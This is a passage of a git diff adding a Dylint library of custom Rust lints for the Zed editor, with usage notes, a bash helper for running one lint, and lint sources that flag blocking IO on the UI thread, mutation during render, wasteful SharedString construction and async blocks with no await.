+- `owned_string_into_shared` — `String::from(<lit>).into()` / `<lit>.to_string().into()` / `<lit>.to_owned().into()` whose target is `SharedString`, `Arc<str>`, `Rc<str>`, or `Cow<'_, str>`.
+- `blocking_io_on_foreground` - Catch blocking IO calls that are called on the main thread (but not on closures or background threads)
+
+## How to run
+
+Ideally you run this as part of the `clippy` script in the `zed/scripts` directory since this will also run our other linters.
+
+### Prerequisites
+
+Install both tools (version 6 or later):
+
+```
+cargo install cargo-dylint dylint-link
+```
+
+- `cargo-dylint` is the `cargo` subcommand that builds and runs the lints; `dylint-link` is the linker used to build the lint library.
+
+The workspace registers this library under `[workspace.metadata.dylint]` in the
+root `Cargo.toml`, so Dylint discovers it automatically — you do not pass a
+`--path`. The first run builds the library against its pinned nightly (see
+`rust-toolchain.toml`) and is slow; later runs are cached.
+
+### Run all lints against the whole repo
+
+```
+cargo dylint --all -- --workspace
+```
+
+### Run all lints against a single crate
+
+```
+cargo dylint --all -- -p project_panel
+```
+
+### Run a single lint
+
+The library loads every lint at once. To run just one, use the `single-lint`
+helper, which silences the rest and force-enables the one you name:
+
+```
+tooling/lints/single-lint blocking_io_on_foreground -p project_panel
+```
+
+The first argument is the lint name (one of the snake_case identifiers under
+[Current lints](#current-lints)); everything after it is passed to `cargo check`
+and defaults to `--workspace`. Under the hood the script runs:
+
+```
+DYLINT_RUSTFLAGS="-A warnings --force-warn <lint>" cargo dylint --all -- <args>
+```
+
+It also handles two non-obvious gotchas:
+
+- `--force-warn` is required: after `-A warnings` silences the group, a plain
+  `-W <lint>` does not reliably re-enable a driver-registered lint.
+- `DYLINT_RUSTFLAGS` is not part of Cargo's fingerprint, so the script cleans the
+  targeted package(s) first; otherwise Cargo replays a stale cache and the filter
+  appears to do nothing.
diff --git a/tooling/lints/rust-toolchain.toml b/tooling/lints/rust-toolchain.toml
new file mode 100644
index 00000000000000..0ba8615542017c
--- /dev/null
+++ b/tooling/lints/rust-toolchain.toml
@@ -0,0 +1,3 @@
+[toolchain]
+channel = "nightly-2026-03-21"
+components = ["llvm-tools-preview", "rustc-dev", "rust-src"]
diff --git a/tooling/lints/single-lint b/tooling/lints/single-lint
new file mode 100755
index 00000000000000..e481cf91bc633c
--- /dev/null
+++ b/tooling/lints/single-lint
@@ -0,0 +1,64 @@
+#!/usr/bin/env bash
+#
+# Run a single lint from this dylint library against the Zed workspace.
+#
+# Usage:   tooling/lints/single-lint <lint_name> [cargo check args...]
+# Example: tooling/lints/single-lint blocking_io_on_foreground -p project_panel
+#
+# Dylint loads the whole library, so we silence every lint with `-A warnings`
+# and force just the requested one back on with `--force-warn`. A plain
+# `-W <lint>` is dropped for a driver-registered lint once the group is allowed,
+# which is why `--force-warn` is required.
+#
+# `DYLINT_RUSTFLAGS` is not part of Cargo's fingerprint, so changing it does not
+# invalidate already-checked crates. We therefore clean the targeted package(s)
+# first so the filter actually applies instead of replaying a stale cache. When
+# no package is named (a `--workspace` run) we drop the whole check cache.
+set -euo pipefail
+
+if [ "$#" -lt 1 ]; then
+  echo "usage: $(basename "$0") <lint_name> [cargo check args...]" >&2
+  exit 1
+fi
+
+lint="$1"
+shift
+if [ "$#" -eq 0 ]; then
+  set -- --workspace
+fi
+
+script_dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+repo_root="$(cd "$script_dir/../.." && pwd)"
+
+toolchain="$(awk -F'"' '/^channel/ {print $2}' "$script_dir/rust-toolchain.toml")"
+host="$(rustc -vV | awk '/^host:/ {print $2}')"
+check_target="$repo_root/target/dylint/target/${toolchain}-${host}"
+
+# Force a re-check of the requested package(s) so the lint filter takes effect.
+cleaned_any=0
+prev=""
+for arg in "$@"; do
+  pkg=""
+  case "$arg" in
+    -p=* | --package=*)
+      pkg="${arg#*=}"
+      ;;
+    *)
+      if [ "$prev" = "-p" ] || [ "$prev" = "--package" ]; then
+        pkg="$arg"
+      fi
+      ;;
+  esac
+  if [ -n "$pkg" ]; then
+    cargo clean -p "$pkg" --target-dir "$check_target" 2>/dev/null || true
+    cleaned_any=1
+  fi
+  prev="$arg"
+done
+
+if [ "$cleaned_any" -eq 0 ]; then
+  rm -rf "$check_target"
+fi
+
+cd "$repo_root"
+DYLINT_RUSTFLAGS="-A warnings --force-warn $lint" exec cargo dylint --all -- "$@"
diff --git a/tooling/lints/src/blocking_io_on_foreground.rs b/tooling/lints/src/blocking_io_on_foreground.rs
new file mode 100644
index 00000000000000..d8d7fe16e917fe
--- /dev/null
+++ b/tooling/lints/src/blocking_io_on_foreground.rs
@@ -0,0 +1,246 @@
+use clippy_utils::diagnostics::span_lint;
+use rustc_hir::def::Res;
+use rustc_hir::{Expr, ExprKind, HirId, Node};
+use rustc_lint::{LateContext, LateLintPass};
+use rustc_middle::ty::Ty;
+
+use crate::render_helpers::is_directly_in_render_method;
+
+rustc_session::declare_lint! {
+    /// ### What it does
+    ///
+    /// Flags calls to known blocking IO functions from the standard library
+    /// (`std::fs`, `std::thread::sleep`, `std::process::Command`, `std::net`)
+    /// when they appear inside a function that receives a synchronous GPUI
+    /// context parameter (`&App`, `&mut App`, `&Context<T>`,
+    /// `&mut Context<T>`, `&mut Window`) or directly inside a
+    /// `Render::render` / `RenderOnce::render` method.
+    ///
+    /// ### Why is this bad?
+    ///
+    /// In GPUI, code that receives a synchronous context type runs on the
+    /// foreground (UI) thread. A blocking IO call on this thread freezes the
+    /// application until the syscall returns.
+    pub BLOCKING_IO_ON_FOREGROUND,
+    Warn,
+    "blocking IO call on the GPUI foreground thread"
+}
+
+pub(crate) struct BlockingIoOnForeground;
+
+rustc_session::impl_lint_pass!(BlockingIoOnForeground => [BLOCKING_IO_ON_FOREGROUND]);
+
+const BLOCKING_FN_PATHS: &[&str] = &[
+    // std::fs free functions
+    "std::fs::read",
+    "std::fs::read_to_string",
+    "std::fs::write",
+    "std::fs::read_dir",
+    "std::fs::read_link",
+    "std::fs::metadata",
+    "std::fs::symlink_metadata",
+    "std::fs::set_permissions",
+    "std::fs::canonicalize",
+    "std::fs::create_dir",
+    "std::fs::create_dir_all",
+    "std::fs::remove_file",
+    "std::fs::remove_dir",
+    "std::fs::remove_dir_all",
+    "std::fs::copy",
+    "std::fs::rename",
+    "std::fs::hard_link",
+    // std::fs::File associated functions
+    "std::fs::File::open",
+    "std::fs::File::create",
+    "std::fs::File::create_new",
+    // std::thread
+    "std::thread::sleep",
+    // std::path::Path methods (resolved via method call def_id)
+    "std::path::Path::metadata",
+    "std::path::Path::symlink_metadata",
+    "std::path::Path::read_link",
+    "std::path::Path::read_dir",
+    "std::path::Path::exists",
+    "std::path::Path::try_exists",
+    "std::path::Path::is_file",
+    "std::path::Path::is_dir",
+    "std::path::Path::is_symlink",
+    "std::path::Path::canonicalize",
+    // std::net associated functions
+    "std::net::TcpStream::connect",
+    "std::net::TcpStream::connect_timeout",
+    "std::net::TcpListener::bind",
+    "std::net::UdpSocket::bind",
+];
+
+const BLOCKING_METHODS: &[(&str, &str)] = &[
+    // std::process
+    ("Command", "output"),
+    ("Command", "status"),
+    ("Command", "spawn"),
+    ("Child", "wait"),
+    ("Child", "wait_with_output"),
+    // std::fs::File instance methods
+    ("File", "sync_all"),
+    ("File", "sync_data"),
+    ("File", "set_len"),
+    ("File", "metadata"),
+    ("File", "try_clone"),
+    ("File", "set_permissions"),
+    // std::net — TCP
+    ("TcpStream", "connect"),
+    ("TcpStream", "peek"),
+    ("TcpListener", "bind"),
+    ("TcpListener", "accept"),
+    ("TcpListener", "incoming"),
+    // std::net — UDP
+    ("UdpSocket", "send"),
+    ("UdpSocket", "send_to"),
+    ("UdpSocket", "recv"),
+    ("UdpSocket", "recv_from"),
+    ("UdpSocket", "peek"),
+    ("UdpSocket", "peek_from"),
+    // std::sync
+    ("Mutex", "lock"),
+    ("RwLock", "read"),
+    ("RwLock", "write"),
+    ("Condvar", "wait"),
+    ("Condvar", "wait_timeout"),
+    ("Condvar", "wait_while"),
+    ("Barrier", "wait"),
+    // std::sync::mpsc
+    ("Receiver", "recv"),
+    ("Receiver", "recv_timeout"),
+    ("SyncSender", "send"),
+];
+
+fn is_blocking_call(cx: &LateContext<'_>, expr: &Expr<'_>) -> bool {
+    match &expr.kind {
+        ExprKind::Call(callee, _) => {
+            if let ExprKind::Path(qpath) = &callee.kind {
+                if let Res::Def(_, def_id) = cx.qpath_res(qpath, callee.hir_id) {
+                    let path = cx.tcx.def_path_str(def_id);
+                    return BLOCKING_FN_PATHS.iter().any(|blocked| path == *blocked);
+                }
+            }
+            false
+        }
+        ExprKind::MethodCall(segment, receiver, _args, _span) => {
+            if let Some(def_id) = cx.typeck_results().type_dependent_def_id(expr.hir_id) {
+                let path = cx.tcx.def_path_str(def_id);
+                if BLOCKING_FN_PATHS.iter().any(|blocked| path == *blocked) {
+                    return true;
+                }
+            }
+            let method_name = segment.ident.name.as_str();
+            if !BLOCKING_METHODS
+                .iter()
+                .any(|(_, name)| *name == method_name)
+            {
+                return false;
+            }
+            let receiver_ty = cx.typeck_results().expr_ty(receiver).peel_refs();
+            if let Some(adt) = receiver_ty.ty_adt_def() {
+                let type_name = cx.tcx.item_name(adt.did());
+                return BLOCKING_METHODS
+                    .iter()
+                    .any(|(ty, name)| *name == method_name && type_name.as_str() == *ty);
+            }
+            false
+        }
+        _ => false,
+    }
+}
+
+/// Returns `true` if `ty` (after peeling references) is a synchronous GPUI
+/// foreground type: `App`, `Context`, or `Window`.
+fn is_gpui_foreground_type<'tcx>(cx: &LateContext<'tcx>, ty: Ty<'tcx>) -> bool {
+    let peeled = ty.peel_refs();
+    let Some(adt) = peeled.ty_adt_def() else {
+        return false;
+    };
+    let did = adt.did();
+    let crate_name = cx.tcx.crate_name(did.krate);
+    if crate_name.as_str() != "gpui" {
+        return false;
+    }
+    let name = cx.tcx.item_name(did);
+    matches!(name.as_str(), "App" | "Context" | "Window")
+}
+
+/// Walks up the HIR parent chain from `hir_id` to find the enclosing
+/// function. Returns `true` if that function has a parameter whose type is a
+/// synchronous GPUI context type. Returns `false` if a closure boundary is
+/// crossed first (the closure might run on a background thread).
+fn is_in_foreground_fn(cx: &LateContext<'_>, hir_id: HirId) -> bool {
+    for (_parent_id, node) in cx.tcx.hir_parent_iter(hir_id) {
+        match node {
+            Node::Expr(expr) if matches!(expr.kind, ExprKind::Closure(_)) => {
+                return false;
+            }
+            Node::Item(item) => {
+                if let rustc_hir::ItemKind::Fn { .. } = &item.kind {
+                    let owner_id = item.owner_id.def_id;
+                    return owner_has_foreground_param(cx, owner_id);
+                }
+                return false;
+            }
+            Node::ImplItem(impl_item) => {
+                if let rustc_hir::ImplItemKind::Fn(_, _) = &impl_item.kind {
+                    let owner_id = impl_item.owner_id.def_id;
+                    return owner_has_foreground_param(cx, owner_id);
+                }
+                return false;
+            }
+            Node::TraitItem(trait_item) => {
+                if let rustc_hir::TraitItemKind::Fn(_, _) = &trait_item.kind {
+                    let owner_id = trait_item.owner_id.def_id;
+                    return owner_has_foreground_param(cx, owner_id);
+                }
+                return false;
+            }
+            _ => {}
+        }
+    }
+    false
+}
+
+/// Checks whether the function identified by `local_def_id` has any parameter
+/// whose type is a synchronous GPUI foreground type.
+fn owner_has_foreground_param(
+    cx: &LateContext<'_>,
+    local_def_id: rustc_hir::def_id::LocalDefId,
+) -> bool {
+    let def_id = local_def_id.to_def_id();
+    let sig = cx.tcx.fn_sig(def_id).instantiate_identity();
+    sig.inputs()
+        .skip_binder()
+        .iter()
+        .any(|ty| is_gpui_foreground_type(cx, *ty))
+}
+
+impl<'tcx> LateLintPass<'tcx> for BlockingIoOnForeground {
+    fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'tcx>) {
+        if expr.span.from_expansion() {
+            return;
+        }
+
+        if !is_blocking_call(cx, expr) {
+            return;
+        }
+
+        let in_render = is_directly_in_render_method(cx, expr.hir_id);
+        let in_foreground_fn = is_in_foreground_fn(cx, expr.hir_id);
+
+        if !in_render && !in_foreground_fn {
+            return;
+        }
+
+        span_lint(
+            cx,
+            BLOCKING_IO_ON_FOREGROUND,
+            expr.span,
+            "blocking IO call on the GPUI foreground thread",
+        );
+    }
+}
diff --git a/tooling/lints/src/entity_update_in_render.rs b/tooling/lints/src/entity_update_in_render.rs
new file mode 100644
index 00000000000000..fc17f3de2be9c6
--- /dev/null
+++ b/tooling/lints/src/entity_update_in_render.rs
@@ -0,0 +1,66 @@
+use clippy_utils::diagnostics::span_lint;
+use rustc_hir::{Expr, ExprKind};
+use rustc_lint::{LateContext, LateLintPass};
+
+use crate::render_helpers::{
+    is_directly_in_render_method, is_gpui_entity_or_weak, is_unit_or_result_unit,
+};
+
+rustc_session::declare_lint! {
+    /// ### What it does
+    ///
+    /// Flags calls to `Entity::update` or `WeakEntity::update` that execute
+    /// synchronously inside a `Render::render` or `RenderOnce::render` method
+    /// and whose closure returns `()` (indicating mutation rather than reading).
+    ///
+    /// ### Why is this bad?
+    ///
+    /// The `render` method should be a pure function of state. Calling
+    /// `.update()` mutates an entity during the render pass, which can trigger
+    /// re-renders mid-render and lead to inconsistent UI state or infinite
+    /// render loops.
+    pub ENTITY_UPDATE_IN_RENDER,
+    Warn,
+    "mutating an entity via `.update()` during render"
+}
+
+pub(crate) struct EntityUpdateInRender;
+
+rustc_session::impl_lint_pass!(EntityUpdateInRender => [ENTITY_UPDATE_IN_RENDER]);
+
+impl<'tcx> LateLintPass<'tcx> for EntityUpdateInRender {
+    fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'tcx>) {
+        if expr.span.from_expansion() {
+            return;
+        }
+
+        let ExprKind::MethodCall(segment, receiver, _args, _span) = &expr.kind else {
+            return;
+        };
+
+        if segment.ident.name.as_str() != "update" {
+            return;
+        }
+
+        let receiver_ty = cx.typeck_results().expr_ty(receiver);
+        if !is_gpui_entity_or_weak(cx, receiver_ty) {
+            return;
+        }
+
+        let call_ty = cx.typeck_results().expr_ty(expr);
+        if !is_unit_or_result_unit(cx, call_ty) {
+            return;
+        }
+
+        if !is_directly_in_render_method(cx, expr.hir_id) {
+            return;
+        }
+
+        span_lint(
+            cx,
+            ENTITY_UPDATE_IN_RENDER,
+            expr.span,
+            "entity `.update()` called during render mutates state in the render pass",
+        );
+    }
+}
diff --git a/tooling/lints/src/lib.rs b/tooling/lints/src/lib.rs
new file mode 100644
index 00000000000000..bf4289673dd439
--- /dev/null
+++ b/tooling/lints/src/lib.rs
@@ -0,0 +1,565 @@
+#![feature(rustc_private)]
+#![warn(unused_extern_crates)]
+
+extern crate rustc_ast;
+extern crate rustc_errors;
+extern crate rustc_hir;
+extern crate rustc_lint;
+extern crate rustc_middle;
+extern crate rustc_session;
+extern crate rustc_span;
+
+use clippy_utils::diagnostics::{span_lint_and_help, span_lint_and_then};
+use clippy_utils::is_def_id_trait_method;
+use clippy_utils::source::snippet_opt;
+use rustc_ast::ast::LitKind;
+use rustc_errors::Applicability;
+use rustc_hir::def::{DefKind, Res};
+use rustc_hir::def_id::DefId;
+use rustc_hir::intravisit::{Visitor, walk_expr};
+use rustc_hir::{
+    Closure, ClosureKind, CoroutineDesugaring, CoroutineKind, CoroutineSource, Expr, ExprKind,
+    YieldSource,
+};
+use rustc_lint::{LateContext, LateLintPass};
+use rustc_middle::hir::nested_filter;
+use rustc_middle::ty::Ty;
+use rustc_span::Span;
+
+mod blocking_io_on_foreground;
+mod entity_update_in_render;
+mod notify_in_render;
+mod owned_string_into_shared;
+mod render_helpers;
+
+use blocking_io_on_foreground::BLOCKING_IO_ON_FOREGROUND;
+use entity_update_in_render::ENTITY_UPDATE_IN_RENDER;
+use notify_in_render::NOTIFY_IN_RENDER;
+use owned_string_into_shared::OWNED_STRING_INTO_SHARED;
+
+// ---------------------------------------------------------------------------
+// Boilerplate: export the dylint ABI version symbol.
+// ---------------------------------------------------------------------------
+dylint_linting::dylint_library!();
+
+// ---------------------------------------------------------------------------
+// Registration: a single entry point that hands both lints to the compiler.
+// ---------------------------------------------------------------------------
+#[allow(clippy::no_mangle_with_rust_abi)]
+#[unsafe(no_mangle)]
+pub fn register_lints(sess: &rustc_session::Session, lint_store: &mut rustc_lint::LintStore) {
+    dylint_linting::init_config(sess);
+    lint_store.register_lints(&[
+        SHARED_STRING_FROM_STR_LITERAL,
+        ASYNC_BLOCK_WITHOUT_AWAIT,
+        BLOCKING_IO_ON_FOREGROUND,
+        ENTITY_UPDATE_IN_RENDER,
+        NOTIFY_IN_RENDER,
+        OWNED_STRING_INTO_SHARED,
+    ]);
+    lint_store.register_late_pass(|_| Box::new(SharedStringFromStrLiteral));
+    lint_store.register_late_pass(|_| Box::new(AsyncBlockWithoutAwait));
+    lint_store.register_late_pass(|_| Box::new(blocking_io_on_foreground::BlockingIoOnForeground));
+    lint_store.register_late_pass(|_| Box::new(entity_update_in_render::EntityUpdateInRender));
+    lint_store.register_late_pass(|_| Box::new(notify_in_render::NotifyInRender));
+    lint_store.register_late_pass(|_| Box::new(owned_string_into_shared::OwnedStringIntoShared));
+}
+
+// ===========================================================================
+// Lint A — SHARED_STRING_FROM_STR_LITERAL
+// ===========================================================================
+
+rustc_session::declare_lint! {
+    /// ### What it does
+    ///
+    /// Flags `gpui::SharedString` values constructed from a string literal by
+    /// any path other than `SharedString::new_static`.
+    ///
+    /// ### Why is this bad?
+    ///
+    /// `SharedString` wraps a `SmolStr`. `SmolStr::from` either copies the
+    /// bytes into inline storage (literals ≤ 23 bytes) or allocates a fresh
+    /// `Arc<str>` on the heap (literals > 23 bytes). `SharedString::new_static`
+    /// does neither: it stores the `'static` pointer directly. For a string
+    /// literal the constant-pointer path is always available and strictly
+    /// cheaper.
+    ///
+    /// This lint fires on `SharedString::from("…")`, `SharedString::new("…")`,
+    /// `<SharedString as From<_>>::from("…")`, and `"…".into()` whose inferred
+    /// target type is `SharedString`. It does not fire on
+    /// `SharedString::new_static(…)`.
+    ///
+    /// The lint distinguishes two tiers of wastefulness:
+    /// * Literals > 23 bytes trigger a heap allocation per call site, flagged
+    ///   at full severity.
+    /// * Literals ≤ 23 bytes "only" pay a memcpy; still strictly worse than
+    ///   `new_static`, but cheaper to leave alone.
+    ///
+    /// ### Example
+    ///
+    /// ```ignore
+    /// let s: SharedString = SharedString::from("Right-click for more options");
+    /// let t: SharedString = "hello".into();
+    /// ```
+    ///
+    /// Use instead:
+    ///
+    /// ```ignore
+    /// let s = SharedString::new_static("Right-click for more options");
+    /// let t = SharedString::new_static("hello");
+    /// ```
+    pub SHARED_STRING_FROM_STR_LITERAL,
+    Warn,
+    "constructing a `SharedString` from a string literal via a copying/allocating path"
+}
+
+rustc_session::declare_lint_pass!(SharedStringFromStrLiteral => [SHARED_STRING_FROM_STR_LITERAL]);
+
+/// Maximum number of bytes that `SmolStr` (and therefore `SharedString`) can
+/// store inline on 64-bit targets. Literals larger than this trigger an
+/// `Arc<str>` allocation on every conversion.
+///
+/// Source: `smol_str` v0.3's `INLINE_CAP`. See
+/// <https://docs.rs/smol_str/0.3.6/smol_str/>.
+const SMOL_STR_INLINE_CAP: usize = 23;
+
+impl<'tcx> LateLintPass<'tcx> for SharedStringFromStrLiteral {
+    fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'tcx>) {
+        // Do not descend into macro-expanded code: we'd be suggesting edits to
+        // spans the user cannot actually touch.
+        if expr.span.from_expansion() {
+            return;
+        }
+
+        let ty = cx.typeck_results().expr_ty(expr);
+        if !is_shared_string(cx, ty) {
+            return;
+        }
+
+        let Some(literal) = extract_literal_source(cx, expr) else {
+            return;
+        };
+
+        emit_shared_string(cx, expr.span, literal);
+    }
+}
+
+/// A string literal the user wrote and that we are confident we can replace.
+struct LiteralSource {
+    /// The literal's decoded contents.
+    contents: String,
+    /// The span of the full expression that should be replaced (e.g. the whole
+    /// `SharedString::from("x")` call), not just the literal token.
+    replace_span: Span,
+}
+
+fn extract_literal_source<'tcx>(
+    cx: &LateContext<'tcx>,
+    expr: &'tcx Expr<'tcx>,
+) -> Option<LiteralSource> {
+    match &expr.kind {
+        // `SharedString::from(lit)`, `SharedString::new(lit)`, or any other
+        // associated/trait function resolving onto `SharedString` with a
+        // single string-literal argument.
+        ExprKind::Call(func, [arg]) => {
+            let def_id = call_def_id(cx, func)?;
+            if !is_interesting_shared_string_constructor(cx, def_id) {
+                return None;
+            }
+            let contents = str_literal_contents(arg)?;
+            Some(LiteralSource {
+                contents,
+                replace_span: expr.span,
+            })
+        }
+
+        // `lit.into()` where the target type is `SharedString`.
+        ExprKind::MethodCall(path_seg, receiver, [], _)
+            if path_seg.ident.name.as_str() == "into" =>
+        {
+            let contents = str_literal_contents(receiver)?;
+            Some(LiteralSource {
+                contents,
+                replace_span: expr.span,
+            })
+        }
+
+        _ => None,
+    }
+}
+
+/// Extract the contents of a string literal expression, peeling through a
+/// single layer of reference if the user wrote `&"lit"`.
+fn str_literal_contents<'tcx>(expr: &'tcx Expr<'tcx>) -> Option<String> {
+    let inner = match &expr.kind {
+        ExprKind::AddrOf(_, _, inner) => *inner,
+        _ => expr,
+    };
+    if let ExprKind::Lit(lit) = &inner.kind
+        && let LitKind::Str(sym, _) = lit.node
+    {
+        Some(sym.as_str().to_owned())
+    } else {
+        None
+    }
+}
+
+/// Returns the `DefId` of the function being called, if `func` is a direct
+/// path to a function or associated function. This handles both
+/// `Type::method(...)` syntax (including type-relative paths that resolve
+/// through `typeck_results`) and free-function paths.
+fn call_def_id<'tcx>(cx: &LateContext<'tcx>, func: &'tcx Expr<'tcx>) -> Option<DefId> {
+    let ExprKind::Path(qpath) = &func.kind else {
+        return None;
+    };
+    match cx.qpath_res(qpath, func.hir_id) {
+        Res::Def(DefKind::Fn | DefKind::AssocFn, def_id) => Some(def_id),
+        _ => None,
+    }
+}
+
+/// True if `def_id` names a `SharedString` constructor that we treat as a
+/// wasteful alternative to `SharedString::new_static` when passed a string
+/// literal.
+///
+/// This covers two distinct resolutions rustc produces for these call sites:
+///
+/// * `SharedString::new("x")` resolves to the inherent associated function
+///   on `impl SharedString`. The impl's `Self` type is `SharedString`.
+/// * `SharedString::from("x")` resolves to the trait method
+///   `core::convert::From::from`. The impl is not recorded on the `def_id`
+///   itself; we instead verify the enclosing trait is `From` and rely on the
+///   caller having already checked that the call's result type is
+///   `SharedString`.
+///
+/// `SharedString::new_static` is explicitly exempted because it is the
+/// preferred alternative.
+fn is_interesting_shared_string_constructor(cx: &LateContext<'_>, def_id: DefId) -> bool {
+    let tcx = cx.tcx;
+    let name = tcx.item_name(def_id);
+    if name.as_str() == "new_static" {
+        return false;
+    }
+    if !matches!(name.as_str(), "from" | "new") {
+        return false;
+    }
+    if let Some(impl_id) = tcx.impl_of_assoc(def_id) {
+        let self_ty = tcx.type_of(impl_id).skip_binder();
+        return is_shared_string(cx, self_ty);
+    }
+    if let Some(trait_id) = tcx.trait_of_assoc(def_id) {
+        // The caller has already asserted that the call's result type is
+        // `SharedString`, so a `From::from` call resolving here is
+        // equivalent to `<SharedString as From<_>>::from`.
+        let path = tcx.def_path_str(trait_id);
+        return path == "core::convert::From" || path == "std::convert::From";
+    }
+    false
+}
+
+/// Match the canonical definition path of `gpui_shared_string::SharedString`.
+/// Re-exports through `gpui` resolve back to the same `DefId`.
+fn is_shared_string(cx: &LateContext<'_>, ty: Ty<'_>) -> bool {
+    let Some(adt) = ty.ty_adt_def() else {
+        return false;
+    };
+    let did = adt.did();
+    let krate = cx.tcx.crate_name(did.krate);
+    if krate.as_str() != "gpui_shared_string" {
+        return false;
+    }
+    cx.tcx.item_name(did).as_str() == "SharedString"
+}
+
+fn emit_shared_string(cx: &LateContext<'_>, call_span: Span, literal: LiteralSource) {
+    let LiteralSource {
+        contents,
+        replace_span,
+    } = literal;
+    let byte_len = contents.len();
+    let over_inline = byte_len > SMOL_STR_INLINE_CAP;
+
+    // Use the original source text for the replacement where possible so we
+    // preserve raw-string syntax, escapes, etc. Fall back to debug-formatting
+    // the decoded contents if the source is unavailable (e.g. macro-generated).
+    let replacement_lit = snippet_opt(cx, replace_span)
+        .and_then(extract_embedded_string_literal)
+        .unwrap_or_else(|| format!("{contents:?}"));
+
+    let suggestion = format!("SharedString::new_static({replacement_lit})");
+
+    let primary_msg = if over_inline {
+        "this `SharedString` construction heap-allocates on every call"
+    } else {
+        "this `SharedString` construction copies the literal on every call"
+    };
+
+    span_lint_and_then(
+        cx,
+        SHARED_STRING_FROM_STR_LITERAL,
+        call_span,
+        primary_msg,
+        |diag| {
+            if over_inline {
+                diag.note(format!(
+                "the literal is {byte_len} bytes, which exceeds `SmolStr`'s {SMOL_STR_INLINE_CAP}-byte inline capacity, so `SmolStr::from` allocates an `Arc<str>` here",
+            ));
+            } else {
+                diag.note(format!(
+                "the literal is {byte_len} bytes (≤ {SMOL_STR_INLINE_CAP}) so it stays inline, but the copy is still avoidable",
+            ));
+            }
+            diag.note("`SharedString::new_static` stores the `'static` pointer directly and performs no allocation or copy");
+            diag.span_suggestion(
+                replace_span,
+                "use the zero-cost static constructor",
+                suggestion,
+                Applicability::MachineApplicable,
+            );
+        },
+    );
+}
+
+/// Given a snippet like `SharedString::from("hi")` or `"hi".into()`, extract
+/// the first embedded string literal token (including any `r#"..."#` prefix)
+/// so we can paste it back unchanged. This is a best-effort scanner and
+/// returns `None` when the snippet has no literal or an unterminated one.
+fn extract_embedded_string_literal(snippet: String) -> Option<String> {
+    let bytes = snippet.as_bytes();
+    let mut i = 0;
+    while i < bytes.len() {
+        // Raw string: optional `b`, then `r`, then `#`*, then `"`.
+        let raw_start = i;
+        let mut j = i;
+        if j < bytes.len() && bytes[j] == b'b' {
+            j += 1;
+        }
+        if j < bytes.len() && bytes[j] == b'r' {
+            let mut hashes = 0;
+            let mut k = j + 1;
+            while k < bytes.len() && bytes[k] == b'#' {
+                hashes += 1;
+                k += 1;
+            }
+            if k < bytes.len() && bytes[k] == b'"' {
+                // Scan for closing `"` followed by the same number of `#`.
+                let mut m = k + 1;
+                while m < bytes.len() {
+                    if bytes[m] == b'"' {
+                        let mut close_hashes = 0;
+                        let mut n = m + 1;
+                        while close_hashes < hashes && n < bytes.len() && bytes[n] == b'#' {
+                            close_hashes += 1;
+                            n += 1;
+                        }
+                        if close_hashes == hashes {
+                            return Some(snippet[raw_start..n].to_owned());
+                        }
+                    }
+                    m += 1;
+                }
+                return None;
+            }
+        }
+        // Regular string: optional `b`, then `"`, until matching unescaped `"`.
+        let mut j = i;
+        if j < bytes.len() && bytes[j] == b'b' {
+            j += 1;
+        }
+        if j < bytes.len() && bytes[j] == b'"' {
+            let mut m = j + 1;
+            while m < bytes.len() {
+                match bytes[m] {
+                    b'\\' => {
+                        m += 2;
+                        continue;
+                    }
+                    b'"' => return Some(snippet[raw_start..=m].to_owned()),
+                    _ => m += 1,
+                }
+            }
+            return None;
+        }
+        i += 1;
+    }
+    None
+}
+
+// ===========================================================================
+// Lint B — ASYNC_BLOCK_WITHOUT_AWAIT
+// ===========================================================================
+
+rustc_session::declare_lint! {
+    /// ### What it does
+    ///
+    /// Flags `async { … }` and `async move { … }` blocks whose body contains
+    /// no `.await` expression at their own nesting level.
+    ///
+    /// ### Why is this bad?
+    ///
+    /// An async block without an `.await` wraps synchronous code in a `Future`
+    /// state machine for no benefit. The state machine adds binary size, and
+    /// the indirection may hide the fact that the code never actually yields.
+    /// Either the `async` should be removed (the code is synchronous), or a
+    /// missing `.await` is a bug.
+    ///
+    /// ### Example
+    ///
+    /// ```ignore
+    /// let future = async { compute_something() };
+    /// ```
+    ///
+    /// Use instead:
+    ///
+    /// ```ignore
+    /// let value = compute_something();
+    /// ```
+    pub ASYNC_BLOCK_WITHOUT_AWAIT,
+    Warn,
+    "`async` block that contains no `.await` expression"
+}
+
+rustc_session::declare_lint_pass!(AsyncBlockWithoutAwait => [ASYNC_BLOCK_WITHOUT_AWAIT]);
+
+impl<'tcx> LateLintPass<'tcx> for AsyncBlockWithoutAwait {
+    fn check_expr(&mut self, cx: &LateContext<'tcx>, expr: &'tcx Expr<'tcx>) {
+        if expr.span.from_expansion() {
+            return;
+        }
+
+        // Match only async blocks — not async function bodies or async closures.
+        let ExprKind::Closure(Closure {
+            kind:
+                ClosureKind::Coroutine(CoroutineKind::Desugared(
+                    CoroutineDesugaring::Async,
+                    CoroutineSource::Block,
+                )),
+            body,
+            ..
+        }) = &expr.kind
+        else {
+            return;
+        };
+
+        // Trait impls are constrained by the trait's signature. If the trait
+        // requires a method that returns a future, the implementor must produce
+        // an async block even when their implementation has nothing to await.
+        let enclosing_body_owner = cx.tcx.hir_enclosing_body_owner(expr.hir_id);
+        if is_def_id_trait_method(cx, enclosing_body_owner) {
+            return;
+        }
+
+        let body = cx.tcx.hir_body(*body);
+        let mut visitor = AwaitVisitor {
+            cx,
+            found_await: false,
+            async_depth: 0,
+        };
+        walk_expr(&mut visitor, body.value);
+
+        if !visitor.found_await {
+            span_lint_and_help(
+                cx,
+                ASYNC_BLOCK_WITHOUT_AWAIT,
+                expr.span,
+                "this `async` block contains no `.await`",
+                None,
+                "consider removing the `async` block or adding the missing `.await`",
+            );
+        }
+    }
+}
+
+/// Walks the body of an async block looking for `.await` expressions. Tracks
+/// nesting depth so that an `.await` inside a *nested* async block is not
+/// attributed to the *outer* block.
+struct AwaitVisitor<'a, 'tcx> {
+    cx: &'a LateContext<'tcx>,
+    found_await: bool,
+    async_depth: usize,
+}
+
+impl<'tcx> Visitor<'tcx> for AwaitVisitor<'_, 'tcx> {
+    type NestedFilter = nested_filter::OnlyBodies;
+
+    fn maybe_tcx(&mut self) -> Self::MaybeTyCtxt {
+        self.cx.tcx
+    }
+
+    fn visit_expr(&mut self, expr: &'tcx Expr<'tcx>) {
